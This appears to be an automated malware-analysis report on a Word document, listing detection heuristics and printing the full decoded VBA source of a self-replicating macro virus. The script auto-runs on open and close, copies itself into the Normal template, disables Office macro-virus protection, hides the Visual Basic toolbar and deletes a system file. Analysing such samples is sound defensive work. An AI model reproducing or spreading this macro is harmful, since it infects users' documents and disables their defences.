MALICIOUS
316
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains critical VBA heuristics indicating the use of Shell() calls and auto-execution macros (AutoOpen, AutoClose). The VBA script attempts to execute a command using 'rundll user,#7 0 5' and also attempts to delete a file and export a component to 'c:\windows\system\iosubsys\imagina.sys', suggesting a payload delivery or persistence mechanism.
Heuristics 7
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell ("rundll user,#7 0 5") -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub Autoclose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2925 bytes |
SHA-256: e68f1d13f113b97c64a0944415fd6ad670b992bd88a10425f4a218ddee41ad3c |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Módulo1"
Sub AutoExec()
On Error Resume Next
Dim myMsg, Style, Title, Help, Ctxt, Response, MyString
myMsg = "What a bad day!" ' Define message.
Style = vbCritical ' Define buttons.
Title = "Hail Imagina!" ' Define title.
Help = "DEMO.HLP" ' Define Help file.
Ctxt = 1000 ' Define topic
Call mygame
If ((Month(Date) = 5) And (Day(Date) = 16)) Then
Application.Caption = "Happy Birthday Imagina!!!"
End If
If ((Month(Date) = 2) And (Day(Date) = 14)) Then
Application.Caption = "Imagina greets u a Happy Valentines Day"
End If
If (Day(Date) = 1) Then
Application.Caption = "Imagina greets u a pleasant Day"
End If
If (Day(Date) = 13) Then
Response = MsgBox(myMsg, Style, Title, Help, Ctxt)
Shell ("rundll user,#7 0 5")
End If
End Sub
Sub Autoclose()
On Error Resume Next
Call mygame
End Sub
Sub autoopen()
On Error Resume Next
Call mygame
End Sub
Sub mygame()
On Error Resume Next
Call simple
Kill ("c:\windows\system\iosubsys\hsflop.pdr")
Application.VBE.ActiveVBProject.VBComponents("imagina").Export "c:\windows\system\iosubsys\imagina.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "imagina" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "imagina" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject
Dobj.VBComponents.Import ("c:\windows\system\iosubsys\imagina.sys")
End Sub
Sub simple()
On Error Resume Next
Application.UserName = "Mr. Secret"
Application.UserAddress = "AMACLC ILOILO"
Application.UserInitials = ""
With Dialogs(wdDialogFileSummaryInfo)
.Author = "Mr. Secret"
.Title = "Hail Imagina"
.Execute
End With
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
With ActiveDocument
.ReadOnlyRecommended = False
End With
On Error Resume Next
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
CustomizationContext = NormalTemplate
End Sub
Sub viewvbcode()
End Sub
Sub toolsmacro()
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.